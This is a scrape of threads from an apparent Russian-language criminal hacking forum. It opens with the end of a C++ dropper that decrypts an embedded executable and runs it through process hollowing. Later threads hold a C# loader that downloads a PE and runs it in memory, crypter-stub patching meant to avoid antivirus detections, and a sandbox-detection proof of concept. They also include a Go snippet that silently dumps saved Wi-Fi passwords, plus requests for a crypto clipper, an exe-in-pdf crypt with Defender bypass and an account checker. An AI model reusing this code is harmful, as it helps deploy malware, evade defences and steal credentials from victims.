                WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
                for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                {
                    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                }
                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                // Move address of entry point to the eax register
                CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                ResumeThread(PI.hThread); //�Start the process/call main()

                return 0; // Operation was successful.
            }
        }
    }
}

// Main method, does not take any arguments
int main()
{
    cout << "Dropper v1.0" << endl << endl;

    // Load our encrypted.exe which is stored in this file as a resource
    HRSRC resource = ::FindResource(GetModuleHandle(NULL), MAKEINTRESOURCE(101), RT_RCDATA);
    HGLOBAL resourceData = ::LoadResource(NULL, resource);
    unsigned int resourceSize = ::SizeofResource(NULL, resource);
    void* lockedResourceData = ::LockResource(resourceData);

    // Store the data in a buffer
    char* buffer = new char[resourceSize];
    memcpy(buffer, lockedResourceData, resourceSize);

    // Feedback
    cout << "[-] Loaded encrypted data from resource" << endl;
    cout << "[-] Size: " << resourceSize << " bytes" << endl;

    // Decrypt it in memory
    decryptXOR(buffer, resourceSize);
    cout << "[-] Unencrypted first 40 bytes: " << endl << "[-] '";
    int count = 0;
    for (int i = 0; i < 40; i++) {
        cout << buffer[i];
    }
    cout << "'" << endl;

    // Run it from memory
    RunPE(buffer);

    // Finishes
    cout << "Finished, have a nice day." << endl;
    return 0;
}
Dnlib "Ссылка на объект не указывает на экземпляр объекта"?
ID: 6765d804b4103b69df375957
Thread ID: 57866
Created: 2021-10-18T15:32:48+0000
Last Post: 2021-10-21T14:32:55+0000
Author: McCoder
Replies: 4 Views: 267

Ещё раз здравствуйте. Я помню раньше подгружал нужные библиотеки (для архивации), которые использовала моя программа посредством dnlib и дальше компилила пропатченый exeшник.
Но сейчас вопрос стоит в другом, мой стаб использует данные библиотеки от .net. Встроенные!!, ни какие то ннеймовские бинарники, а встроенные, которые лежать в папке MicrosoftNET

Spoiler: lib

1634570741887.png

Моё подозрение падает на System.Runtime.InteropServices; Microsoft.VisualBasic;
При компиляции вылетает такая ошибка=> я делаю вывод, что какая то библиотека не видна dnlib.

Spoiler: error

1634571014851.png

Вот ответ на вопрос, почему же я изначально решил использовать Mona.Cecil, тк она подгружает все библиотеки в автоматическом режиме, да и скорость компиляции её по выше.
Подскажите как мне подгрузить библиотеки? Или может быть причина проблема вообще в другом??

Нуждаюсь в помощи, необходимо развернуть рабочую среду TG Desktop на Windows 10 x64.
ID: 6765d804b4103b69df37569b
Thread ID: 127684
Created: 2024-11-27T02:38:02+0000
Last Post: 2024-11-27T02:38:02+0000
Author: AGN
Replies: 0 Views: 263

Всех приветствую, столкнулся с такой задачей: необходимо развернуть рабочую среду для работы с TG Desktop на win10 x64.
Инструкция: <https://github.com/telegramdesktop/tdesktop/blob/dev/docs/building- win-x64.md>

Но у меня не получается это сделать, вся проблема в Qt, а именно с установкой этого инструмента. Необходимая версия для работы с TG Desktop - 5.15.15, но она старая, в официальном установщике устанавливается 6.8.0, и я не смог найти других способов установки конкретно этой версии. Единственное, что мне удалось найти, так это развернуть установщик через исходный код 5.15.15, но это очень нудный и долгий процесс, я уверен, что имеется решение намного проще. Возможно кто-то из вас сталкивался с этим, и сможет мне помочь. Заранее спасибо!

How do i solve: Code 3221225477 (0xc0000005) 'Access violation'
ID: 6765d804b4103b69df37577d
Thread ID: 100764
Created: 2023-10-23T23:00:25+0000
Last Post: 2023-10-25T07:47:56+0000
Author: CompCrime
Replies: 3 Views: 261

Hi,

i try right now to load a pe from a url and then execute it in the memory.

I generated this script with chatgpt, cause i didnt found a example online.

I get this error:

Code 3221225477 (0xc0000005) 'Access violation'

Script:

C#:Copy to clipboard

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Net;
class PEFileLoader
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

    public const uint MEM_COMMIT = 0x00001000;
    public const uint MEM_RESERVE = 0x00002000;
    public const uint PAGE_EXECUTE_READWRITE = 0x40;
    public const uint INFINITE = 0xFFFFFFFF;

    static void Main(string[] args)
    {
        byte[] peBytes = new WebClient().DownloadData("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe");
        IntPtr allocatedMemory = VirtualAlloc(IntPtr.Zero, (uint)peBytes.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(peBytes, 0, allocatedMemory, peBytes.Length);
        IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocatedMemory, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(threadHandle, INFINITE);
    }
}
Mono.Cecil не хочет делать Replace строк ?
ID: 6765d804b4103b69df37595b
Thread ID: 57863
Created: 2021-10-18T14:12:59+0000
Last Post: 2021-10-19T21:15:51+0000
Author: McCoder
Replies: 8 Views: 259

Всем привет. Пишу один проект. Не очень понимаю, почему в моём старом проекте данный код для патчинга хорошо работает, а в новом отказывается делать Replace.
Реплайс переменных через cecil

Spoiler: code

C#:Copy to clipboard

 AssemblyDefinition assemblyDefinition = AssemblyDefinition.ReadAssembly("Stub.exe");

            foreach (ModuleDefinition moduleDefinition in assemblyDefinition.Modules)
            {

                foreach (TypeDefinition typeDefinition in moduleDefinition.Types)
                {

                    foreach (MethodDefinition methodDefinition in typeDefinition.Methods)
                    {
                        if (methodDefinition.IsConstructor && methodDefinition.HasBody)
                        {

                            IEnumerator<Instruction> enumerator4 = (IEnumerator<Instruction>)methodDefinition.Body.Instructions.GetEnumerator();
                            while (enumerator4.MoveNext())
                            {
                                Instruction instruction = enumerator4.Current;
                                if (instruction.OpCode.Code == Code.Ldstr & instruction.Operand != null)
                                {
                                    string left = instruction.Operand.ToString();

                                    if (Operators.CompareString(left, "[Msg]", false) == 0)
                                    {
                                        instruction.Operand = "Hello";
                                    }
                                }
                            }
                        }
                    }
                }
            }

После патчинга, я пишу стаб на диск вот так

Spoiler

1634566101676.png

Изначально думал, что накосячил именно со стабом криптера.
Решил написать Console.WrLine и пропатчить тем самым куском кода, что выше.

Spoiler: вот что я патчу

C#:Copy to clipboard

using System;

namespace Stub
{
    internal static class Program
    {
        [STAThread]
        private static void Main()
        {
            Console.WriteLine("[Msg]");
        }
    }
}

После патчинга, кидаю в dnspy и вижу, что ничего не заменилось~~.~~

Spoiler: скрин "пропатченого кода"

1634566449647.png

не работает функция чтения физ памяти
ID: 6765d804b4103b69df375739
Thread ID: 109423
Created: 2024-03-01T16:11:02+0000
Last Post: 2024-03-01T19:55:01+0000
Author: mddbs
Replies: 5 Views: 258

C:Copy to clipboard

NTSTATUS Read_Physical_memory(LONGLONG Address, PVOID buffer, SIZE_T bitetoread)
{
    PVOID Pool = ExAllocatePoolWithTag(0, bitetoread, 'Tag');

    if (Pool == NULL) return STATUS_UNSUCCESSFUL;
    else
    {
        PHYSICAL_ADDRESS ad;
        ad.QuadPart = Address;
        PVOID MemoryMap = MmMapIoSpaceEx(ad, bitetoread, PAGE_READONLY);

        if (MemoryMap == NULL) return STATUS_UNSUCCESSFUL;
        else
        {
            MM_COPY_ADDRESS copyaddress;
            copyaddress.VirtualAddress = MemoryMap;
            SIZE_T counter;
            MmCopyMemory(buffer, copyaddress, bitetoread, MM_COPY_MEMORY_VIRTUAL, &counter);
            MmUnmapIoSpace(MemoryMap, bitetoread);
            ExFreePoolWithTag(Pool, 'Tag');
            return STATUS_SUCCESS;
        }
    }
}

я новичок в разработке драйверов так что не судите строго за ошибки)

Взаимодействие с компонентами программы.
ID: 6765d804b4103b69df3757a1
Thread ID: 97064
Created: 2023-09-01T17:18:30+0000
Last Post: 2023-09-01T19:43:14+0000
Author: Unseen
Replies: 2 Views: 257

Доброго времени суток, форумчане! Возник вопрос насчёт взаимодействия с компонентами (кнопки , поле для ввода , чекбоксы и ТД) на интерфейсе(GUI) программы. Допустим есть калькулятор и мне нужно программно нажать на кнопку + . Как это можно реализовать на каком то из яп(c/c++) . В Гугле почитал что есть способ через winapi(для меня сложновато). Может кто по подробнее объяснит? Буду очень благодарен за любой совет.

Протокол для обеспечения связи
ID: 6765d804b4103b69df3757d0
Thread ID: 91944
Created: 2023-07-03T10:29:23+0000
Last Post: 2023-07-03T11:58:07+0000
Author: coree
Replies: 6 Views: 256

Всем доброго дня. Мне нужно выбрать какой то протокол для удаленной связи сервера и импланта, есть небольшой список: protobuf (grpc), windows rpc, простые сокеты. Какой бы вы выбрали в свой проект и почему? Может быть ещё какой то протокол есть, более удобный?
Насчёт сокетов, была идея либо просто структурки слать, либо какими нибудь xml-ями общаться.

Скомпилированный бинаркник хранит реальные имена функций/структур и тд
ID: 6765d804b4103b69df3758c2
Thread ID: 67661
Created: 2022-05-26T04:45:41+0000
Last Post: 2022-05-26T12:26:01+0000
Author: cppjunior
Replies: 6 Views: 256

Почему когда собираю бинарник в VS2019 и открываю его в Иде, там показывает реальные имена функций, асм заголовки которые есть в реальном проекте. Как скомпилить файл в VS что б не хранил в себе всю эту инфу?

Изменить информацию о линкере
ID: 6765d804b4103b69df375875
Thread ID: 74917
Created: 2022-10-30T14:46:44+0000
Last Post: 2022-10-30T16:24:54+0000
Author: cppjunior
Replies: 3 Views: 255

Можно ли изменить информацию об компиляторе/линкере которая хранится в rich header в пе файле. Возможно есть какие то похожие проекты на гитхабе, но я не нашел подобного. Или у кого то есть подобные наработки и может поделиться, буду сильно благодарен.

Cliper на Языке (Rust)
ID: 6765d804b4103b69df375805
Thread ID: 84968
Created: 2023-03-31T20:12:35+0000
Last Post: 2023-03-31T20:50:46+0000
Author: No_mercyy
Replies: 1 Views: 255

Всем привет!
Если коротко: купил клипер, почти дописали, задумался а могут ли меня обмануть путем добавления в код зависимость на сервер (для подмены кошельков)
Нужна помощь, проверить есть ли в коде зависимость на сервер, а так же проверить нет ли встроенных адресов крипты прям в код.
Все исходники будут на руках

Требуется умелец который шарит за Rast и С++

Как Сделать ForgeGround (Android Java)?
ID: 6765d804b4103b69df37570a
Thread ID: 113207
Created: 2024-04-24T09:20:34+0000
Last Post: 2024-04-24T09:20:34+0000
Author: XDRevil
Replies: 0 Views: 255

Надо сделать ForeGround, чтоб не умирал сам бот, как сделать примерно?

ищу крипт exe в pdf с обходами дефа
ID: 6765d804b4103b69df3757ba
Thread ID: 94912
Created: 2023-08-05T19:38:21+0000
Last Post: 2023-08-06T12:03:59+0000
Author: OAE
Replies: 4 Views: 254

ищу крипт exe в pdf с обходами дефа

Кастомные окна на Winapi, какие версии вам больше всего нравятся? Ваши думки и реализации...
ID: 6765d804b4103b69df37596e
Thread ID: 56716
Created: 2021-09-15T17:48:55+0000
Last Post: 2021-09-15T22:30:55+0000
Author: unbalance
Replies: 1 Views: 252

Данная тема создана для того что бы просто получить созерцательное удовольствие.
Приведу красивый пример:
Безымянный.png

Вот пример на Winapi под тоже самое Qt:
https://github.com/Jorgen-VikingGod/Qt-Frameless-Window-DarkStyle ( там все так же реализовано на Winapi :)

Вот хороший разбор как это делается на Winapi:

Окна нестандартной формы на Ассемблере. Часть 1 | Образ мышления: Assembler | Blog. Just Blog

Образ мышления: Assembler, Окна нестандартной формы на Ассемблере. Часть 1, отзывы, Фигурная резьба по деревянным окнам - старинное народное творчество. А в нашем 21-м веке народным творчеством будет резьба по окнам Windows. При умелом использовании это станет стильным украшением для ваших...

www.manhunter.ru www.manhunter.ru

Окна нестандартной формы на Ассемблере. Часть 2 | Образ мышления: Assembler | Blog. Just Blog

Образ мышления: Assembler, Окна нестандартной формы на Ассемблере. Часть 2, отзывы, В первой части статьи я рассказал как создавать окна нестандартной формы при помощи регионов. У этого способа есть один большой недостаток: создаваемые окна так или иначе состоят из четких геометрических форм. Но...

www.manhunter.ru www.manhunter.ru

Приветствуются так же ImGui! Присылайте скриншоты, что бы было очень приятно смотреть их, и ресурсы, что бы можно было попользовать!)

SSP, SSPI, GSS-API
ID: 6765d804b4103b69df37582c
Thread ID: 80234
Created: 2023-01-18T16:19:48+0000
Last Post: 2023-01-18T16:22:00+0000
Author: valeraleontev
Replies: 1 Views: 252

Всем добрый день! Не подскажете ли литературу/статьи/курсы, изучив которые, можно погрузиться в программирование с использованием системы аутентификации Kerberos? Если вдруг таковой нет, то, быть может, есть какой-то материал для изучения GSS-API, работы с SSPI? Проектирование собственного SSP?

Обнаружение песочницы с использованием аппаратных побочных каналов
ID: 6765d804b4103b69df375767
Thread ID: 103416
Created: 2023-12-03T10:18:55+0000
Last Post: 2023-12-03T10:18:55+0000
Author: salsa20
Replies: 0 Views: 251

Анализирую док. Вот накидал poc
Го проверим?

Аппаратные составляющие (аппаратные боковые каналы) — это механизмы, которые обеспечивают несанкционированную передачу информации между различными компонентами аппаратного обеспечения компьютера. Эти причины могут возникать из-за совместного использования ресурсов, таких как кэш-память, буферы заполнения, буферы хранения и другие, между различными потоками выполнения или компонентами систем.

Click to expand...

для англосаксов выжимка из pdf

Introduction :

  • The paper begins by highlighting the increasing number of malware attacks and the need for automated methods to detect and analyze them.
  • Sandboxing is a common technique used to analyze malware in a controlled environment, but malware developers often employ techniques to detect when their software is running in a sandbox.
  • The authors propose side-channel-based techniques for detecting sandboxes, particularly by exploiting side-channel leakage between sibling logical cores.

Related Work :

  • The paper discusses various existing sandbox detection techniques, including virtualized environment artifacts detection, timing attacks, and CPU instructions behavior measurements.
  • It mentions previous research on sandbox detection and evasion techniques.

Background :

  • The paper provides background information on Simultaneous Multithreading (SMT), a technology that allows different threads to share physical resources.
  • It also discusses shared-resources-based side-channel attacks, which take advantage of shared hardware resources to leak information between sibling hardware threads.

Threat Model :

  • The authors describe the conditions required for a successful attack, including the need for virtualization technology (e.g., VT-x or AMD-v) and SMT to be enabled.

Attacks Overview :

  • The paper presents three novel attacks for sandbox detection:
    - Multicore Leakage : Exploiting the virtual core scheduling mechanism to detect leakage between non-sibling cores.
    - Distinguishable Leakage Rate : Identifying sandbox environments based on differences in the leakage rate over time.
    - VMM Misconfiguration : Detecting sandboxes by analyzing information returned by the hypervisor VMM, particularly focusing on discrepancies in the reported number of logical cores.

Experiments and Results :

  • The authors conducted experiments to test their attacks against popular hypervisors, including VMware Workstation, VirtualBox, Microsoft Hyper-V, and MAVMM.
  • The results showed that the proposed attacks successfully detected sandboxes in all tested hypervisors, except for the VMM misconfiguration attack against Microsoft Hyper-V.

Discussion :

  • The paper discusses the implications of the experiments and emphasizes that the vulnerabilities for sandbox detection are not limited to specific hypervisor vendors or processor types.
  • It suggests two practical mitigations: disabling SMT (which impacts performance) or implementing a strict virtual core scheduling policy in the hypervisor.

Conclusion :

  • The paper concludes by highlighting the significance of the research in detecting sandboxes using hardware side channels.
  • It suggests that the findings open new avenues for innovative research in sandbox detection techniques based on side-channel leakage.

Overall, the paper presents a novel approach to sandbox detection and highlights potential vulnerabilities in existing hypervisors, calling for increased attention to security and mitigation measures in virtualized environments used for malware analysis.

Click to expand...

C++:Copy to clipboard

#include <iostream>
#include <thread>
#include <atomic>

// Глобальная переменная для отслеживания утечек данных
std::atomic<bool> data_leakage_detected(false);
// Глобальная разделяемая переменная
std::atomic<int> shared_data(0);

void thread_function() {
    int expected_value = 0;
    int consecutive_mismatches = 0;

    for (int i = 0; i < 10000000; ++i) {
        shared_data.fetch_add(1, std::memory_order_relaxed); // Atomic increment
        int value = shared_data.load(std::memory_order_relaxed); // Atomic read

        if (value != i + 1) {
            consecutive_mismatches++;
        }
        else {
            consecutive_mismatches = 0;
        }

        if (consecutive_mismatches > 100) {
            data_leakage_detected.store(true, std::memory_order_relaxed);
            break;
        }

        expected_value = i + 1;
    }
}


bool check_smt() {
    // Здесь можно реализовать код для определения наличия SMT и
    // соотношения физических и логических ядер
    // Эта функция может быть пустой для простоты

       // Get the number of available hardware threads
    const int num_threads = std::thread::hardware_concurrency();

    // Calculate the number of physical cores
    const int num_physical_cores = num_threads / 2;

    std::cout << "Number of logical cores: " << num_threads << std::endl;
    std::cout << "Number of physical cores: " << num_physical_cores << std::endl;

    if (num_physical_cores < num_threads) {
        std::cout << "SMT (Hyper-Threading) is enabled." << std::endl;
        return true;
    }
    else {
        std::cout << "SMT (Hyper-Threading) is not enabled." << std::endl;
        return false;
    }

    return false;
}

bool check_leakage() {
    // Запуск потоков на разных логических ядрах
    std::thread t1(thread_function);
    std::thread t2(thread_function);

    // Ожидание завершения потоков
    t1.join();
    t2.join();

    // Измерение времени, затраченного на утечку данных
    auto start_time = std::chrono::high_resolution_clock::now();

    for (int i = 0; i < 1000; ++i) {
        t1 = std::thread(thread_function);
        t2 = std::thread(thread_function);
        t1.join();
        t2.join();
    }

    auto end_time = std::chrono::high_resolution_clock::now();
    std::chrono::duration<double> elapsed_seconds = end_time - start_time;

    // Анализ скорости утечки данных
    if (elapsed_seconds.count() < 1.0) {
        // Если утечка данных произошла очень быстро, это может указывать на виртуализацию
        data_leakage_detected.store(true, std::memory_order_relaxed);
    }

    // Анализ флага утечки данных
    return data_leakage_detected.load(std::memory_order_relaxed);
}


int main() {
    bool is_vm = false;

    if (check_smt()) {
        is_vm = true;
    }

    if (check_leakage()) {
        is_vm = true;
    }

    if (is_vm) {
        std::cout << "Observed signs of virtualized environment" << std::endl;
    }
    else {
        std::cout << "Signs of native environment" << std::endl;
    }

    return 0;
}
Копирование папки, файлов в ней и подпапок.
ID: 6765d804b4103b69df37594e
Thread ID: 58736
Created: 2021-11-11T01:17:50+0000
Last Post: 2021-11-11T02:56:58+0000
Author: ioioio777
Replies: 1 Views: 251

**ЯП - Шарп

Вопрос тупейший донельзя**, имеется папка C:\Users\...\123, в ней, к примеру 10 файлов, 3 подпапки, в подпапках по файлу. Задача в том, чтобы содержимое перенести в C:\Users\...\456.

Пробовал разными способами, включая способ переноса, указанный в документации майкрософт

Spoiler: Реализация от майков

1636593266100.png

Пытался форэчем сделать, ошибка та же

1636593347700.png

Ошибка, собственно на фото ниже.
1636593420900.png
(Наличие файла в папке - 100%, проверял кучу раз)

Android: alarm или work
ID: 6765d804b4103b69df37578d
Thread ID: 98577
Created: 2023-09-21T20:41:28+0000
Last Post: 2023-09-21T20:41:28+0000
Author: jorah
Replies: 0 Views: 250

В л.с.

Набор номера
ID: 6765d804b4103b69df3757ea
Thread ID: 87798
Created: 2023-05-12T09:39:18+0000
Last Post: 2023-05-12T18:42:12+0000
Author: dooo_dooo
Replies: 2 Views: 249

Подскажите можно ли сделать так чтоб я отправлял номер телефона в смс сообщении пользувателю, но ето все шифрувалось под какуюто силку, на которую пользуватель нажимает и на его телефоне сразу происходит визов на етот номер, тоесть номер не копируется на екран и потом в ручном режиме надо нажать на кнопку визова ,а сразу происходит дзвонок, кучу всего перепробувал не могу сам ето релизувать, по цене договоримя кто подскажет

Java instagramm Bot - instagram4j - Сторис
ID: 6765d804b4103b69df375944
Thread ID: 58120
Created: 2021-10-24T17:58:51+0000
Last Post: 2021-11-24T20:51:16+0000
Author: archi
Replies: 3 Views: 249

Всем доброго.
Может кто работал с instagram4j на Java?
Интересует работа со сторис, а именно:
-размещение ссылки на статью из ленты в сторись, это делается из приложения Поделиться (самалетик) - Опубликовать в Сторис.

Сама по себу библиотека удобная для автоматизации публикаций в ленту, лайков и подписок/отписок.
Хотелось бы расширить ее функционал, своими запросами...

github.com

[ GitHub - instagram4j/instagram4j: :camera: Instagram private API in

Java ](https://github.com/instagram4j/instagram4j)

:camera: Instagram private API in Java. Contribute to instagram4j/instagram4j development by creating an account on GitHub.

github.com github.com

Как написать чекер на C#
ID: 6765d804b4103b69df375962
Thread ID: 57646
Created: 2021-10-12T18:13:48+0000
Last Post: 2021-10-13T06:55:20+0000
Author: Sapphire
Replies: 1 Views: 249

Хочу написать чекер например на нетфликс какой-нибудь. С парсом данных аккаунта и т.д.
Я прочитал книгу по основам шарпов, порешал задачки на кодварс 7 ранга. Что дальше?
Где и что можно прочитать про взаимодействие с вебом, как писать авторизации и т.д.

COM MSHTML в IHTMLDocument2 трабл
ID: 6765d804b4103b69df375762
Thread ID: 104111
Created: 2023-12-15T06:35:10+0000
Last Post: 2023-12-16T04:00:22+0000
Author: salsa20
Replies: 2 Views: 248

Может кто помочь где ошибка преобразования? Чет никак не пойму)

C++:Copy to clipboard

#include <windows.h>
#include <mshtml.h>
#include <shlwapi.h>
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "shlwapi.lib")

// Функция для создания SAFEARRAY с BSTR
SAFEARRAY* CreateBstrArray(LPCWSTR str)
{
    SAFEARRAY* sa = SafeArrayCreateVector(VT_BSTR, 0, 1);
    if (sa) {
        LONG index = 0;
        BSTR bstr = SysAllocString(str);
        SafeArrayPutElement(sa, &index, bstr);
        SysFreeString(bstr);
    }
    return sa;
}

static void WriteHT(IHTMLDocument2* doc, const LPCWSTR content, const LPCWSTR baseURL)
{
    if (baseURL && wcslen(baseURL) > 0) {
        HRESULT hr;
        IStream* stream = ::SHCreateMemStream((BYTE*)(content), (DWORD)(wcslen(content) * sizeof(WCHAR)));
        if (stream) {
            IPersistMoniker* persistMoniker = NULL;
            hr = doc->QueryInterface(IID_IPersistMoniker, (void**)(&persistMoniker));
            if (hr == S_OK) {
                IBindCtx* ctx = NULL;
                hr = ::CreateBindCtx(0, &ctx);
                if (hr == S_OK) {
                    IMoniker* moniker = NULL;
                    hr = ::CreateURLMoniker(NULL, baseURL, &moniker);
                    if (hr == S_OK) {
                        hr = persistMoniker->Load(TRUE, moniker, ctx, STGM_READ);
                        moniker->Release();
                    }
                    ctx->Release();
                }
                persistMoniker->Release();
            }
            stream->Release();
        }
    }
    else {
        SAFEARRAY* sa = CreateBstrArray(content);

        if (sa) {
            doc->write(sa);
            IHTMLElementCollection* pCollection = NULL;
            HRESULT hr{};
            hr = doc->get_all(&pCollection);
            if (SUCCEEDED(hr)) {
                // Теперь вы можете работать с коллекцией элементов
                // Например, перебрать все элементы <p> в документе
                long itemCount = 0;
                hr = pCollection->get_length(&itemCount);
                if (SUCCEEDED(hr)) {
                    for (long i = 0; i < itemCount; i++) {
                        IDispatch* pDisp = NULL;
                        VARIANT varName;
                        VariantInit(&varName);
                        varName.vt = VT_I4;
                        varName.lVal = i;

                        VARIANT varIndex;
                        VariantInit(&varIndex);
                        varIndex.vt = VT_EMPTY; // You can specify the appropriate value for 'name' if needed.

                        hr = pCollection->item(varName, varIndex, &pDisp);
                        if (SUCCEEDED(hr)) {
                            // Check if the returned pDisp is not null
                            if (pDisp) {
                                // Now you can work with the pDisp as needed
                                IHTMLElement* pElement = NULL;
                                hr = pDisp->QueryInterface(IID_IHTMLElement, (void**)&pElement);
                                if (SUCCEEDED(hr)) {
                                    // Now you can work with the pElement
                                    BSTR innerText = NULL;
                                    hr = pElement->get_innerText(&innerText);
                                    if (SUCCEEDED(hr)) {
                                        // innerText contains the text of the element
                                        // Handle it as needed
                                        SysFreeString(innerText);
                                    }
                                    pElement->Release();
                                }
                            }
                            else {
                                // Handle the case where pDisp is null
                            }
                            pDisp->Release();
                        }
                    }

                }
                pCollection->Release();
            }
            doc->close();
            SafeArrayDestroy(sa);
        }
    }
}

int main()
{
    CoInitialize(NULL);

    IHTMLDocument2* doc = NULL;
    HRESULT hr = CoCreateInstance(CLSID_HTMLDocument, NULL, CLSCTX_INPROC_SERVER, IID_IHTMLDocument2, (void**)&doc);

    if (SUCCEEDED(hr)) {
        LPCWSTR content = L"<html><head><title>Sample HTML</title></head><body><p>Hello, World!</p></body></html>";
        LPCWSTR baseURL = L"";

        WriteHT(doc, content, baseURL);

        // Release the document interface
        doc->Release();
    }

    CoUninitialize();

    return 0;
}
Hook чтения памяти
ID: 6765d804b4103b69df3757cb
Thread ID: 92947
Created: 2023-07-14T18:06:19+0000
Last Post: 2023-07-14T18:27:35+0000
Author: skizy
Replies: 1 Views: 248

здравствуйте, могу ли я как-то по средствам хукинга или других средств получить информацию о том, что именно в .data секции читает программа?

Dnlib патчинг вызывает Gen детекты?
ID: 6765d804b4103b69df3758f9
Thread ID: 63148
Created: 2022-02-18T09:20:36+0000
Last Post: 2022-02-19T12:10:27+0000
Author: McCoder
Replies: 4 Views: 247

Короче есть проблема, считайте что у меня стаб, который принимает онли строки(т.е. вызов ген детектов идёт даже НЕ из за ресурсов). Значит компилирую через VS- скантайм фуд чистый, пиздатый. Патчу софт через Dnlib и получаю результат ниже:

https://imgur.com/a/86nHdQ1

С чем это может быть связанно? оптимизация инструкций не особо помогает

https://imgur.com/a/BrruZKF

simple golang code for get wifi passwords in raw
ID: 6765d804b4103b69df3757dd
Thread ID: 89408
Created: 2023-05-31T21:29:50+0000
Last Post: 2023-06-01T16:43:16+0000
Author: samisoft
Replies: 3 Views: 246

Code:Copy to clipboard

package main

import (
       "fmt"
       "os/exec"
       "syscall"
)

func WifiKeys() string {
     params         := "netsh wlan show profile name=* key=clear"
     cmd            := exec.Command("cmd.exe", "/c", params)
     cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow:true}
     output,_       := cmd.CombinedOutput()
     return string(output)
}

func main() {
     fmt.Println(WifiKeys())
}
[C#] DataBase
ID: 6765d804b4103b69df3758f0
Thread ID: 63513
Created: 2022-02-26T12:38:05+0000
Last Post: 2022-02-27T18:12:49+0000
Author: Ags1of
Replies: 5 Views: 246

Делаю приложение, которое будет сохранять в базу данных некоторые переменные, при открытии приложения. Есть совет или фрагменты кода, как можно реализовать? Внутри приложения не хочу указывать никакие данные т.к. будет небезопасно.

Compile C++ project
ID: 6765d804b4103b69df375796
Thread ID: 97820
Created: 2023-09-11T13:07:52+0000
Last Post: 2023-09-11T14:37:13+0000
Author: Rat-Botnet
Replies: 2 Views: 244

I am looking for a programmer who is familiar with C++ to compile a project for US$100. If you are interested, please send me a private message.

Windows Kernel Programming, Second Edition
ID: 6765d804b4103b69df375732
Thread ID: 109468
Created: 2024-02-29T10:53:02+0000
Last Post: 2024-03-11T18:53:10+0000
Author: blackhunt
Prefix: Мануал/Книга
Replies: 2 Views: 241

1709203951639.png

Link Download :

![send.exploit.in](/proxy.php?image=https%3A%2F%2Fsend.exploit.in%2Fsend- fb.358d4b57.jpg&hash=824ffe54bac782fbc1c2b7f04639d4b7&return_error=1)

[ Exploit.IN Send

](https://send.exploit.in/download/bc1c250730421a65/#d9FYNfCJVlVa46xdHHEktg)

Encrypt and send files with a link that automatically expires to ensure your important documents don’t stay online forever.

send.exploit.in send.exploit.in

Какой яп начать изучать под определенные цели?
ID: 6765d804b4103b69df3758ce
Thread ID: 66313
Created: 2022-04-28T19:02:06+0000
Last Post: 2022-04-28T19:56:20+0000
Author: hashFr0g
Replies: 2 Views: 241

В общем начитался дохуя новостей про хакинг , мальвары и т.д

Заинтересовался этой темкой и захотел тоже мутить эту тему

На чем лучше писать мальвары и все в этом стиле?

Краткое знакомство с LLVM IR
ID: 6765d804b4103b69df375717
Thread ID: 112202
Created: 2024-04-07T19:06:57+0000
Last Post: 2024-04-07T19:06:57+0000
Author: Norbert Beaver
Prefix: Статья
Replies: 0 Views: 240

Spoiler: Аннотация

Всем привет. Представляю вам перевод статьи о LLVM IR. Текст профессионально- ориентирован и не подойдет для широкого круга читателей. Перевод выполнен специально для форума XSS.is и выкладывается только на данном форуме. (оригинал статьи)

Краткое знакомство с LLVM IR.

На днях я увидел этот твит. В нем, Эндрю Галлант утверждает что внедрение LLVM IR (низкоуровневых виртуальных машин с промежуточным представлением) вместо ассемблера является полезным инструментом для тех кто работает над производительностью. К сожалению, учебный материал по LLVM обычно предназначен для инженеров-программистов компилятора, а не для специалистов широкого профиля.

Итак, поскольку я являюсь таковым, мой ответ это: « конечно вам следует знать, какое промежуточное представление у вашего оптимизатора». Но я считаю, что существует оправданная причина иметь возможность прочитать его, так же как и возможность чтения ассемблера, так как это мощный инструмент для понимания того, что делает ваш процессор. Сначала я рекомендую прочитать первую часть статьи о знакомстве с ассемблером, которую я написал более года назад (и до сих пор не выложил продолжение... 💀).

Изучение LLVM IR схоже, но статья поможет вам понять что делает ваш компилятор для создания высокооптимизированного кода. LLVM IR очень популярен, достаточно обоснован и сформулирован так, что мы можем относиться к нему, как к слегка своеобразному языку программирования.

В этой статье я хочу углубиться в то, чем является LLVM IR и как его прочитать.

Что такое LLVM IR?

“LLVM” это общий термин для некоторых компонентов оборудования. Он может быть использован для создания компиляторов. Если вы писали код, влияющий на производительность, вы скорее всего слышали о нем.

Его основным продуктом является Clang, компилятор-флагман для C/C++/Objective-C. Он имеет традиционную архитектуру компилятора: фронтенд, который анализирует исходный код в AST и переводит его в промежуточное представление (ПП) , затем оптимизатор (или «посредник») переводит ПП в более лучший вид и далее бэкенд конвертирует ПП в машинный код под необходимую платформу.

1.png

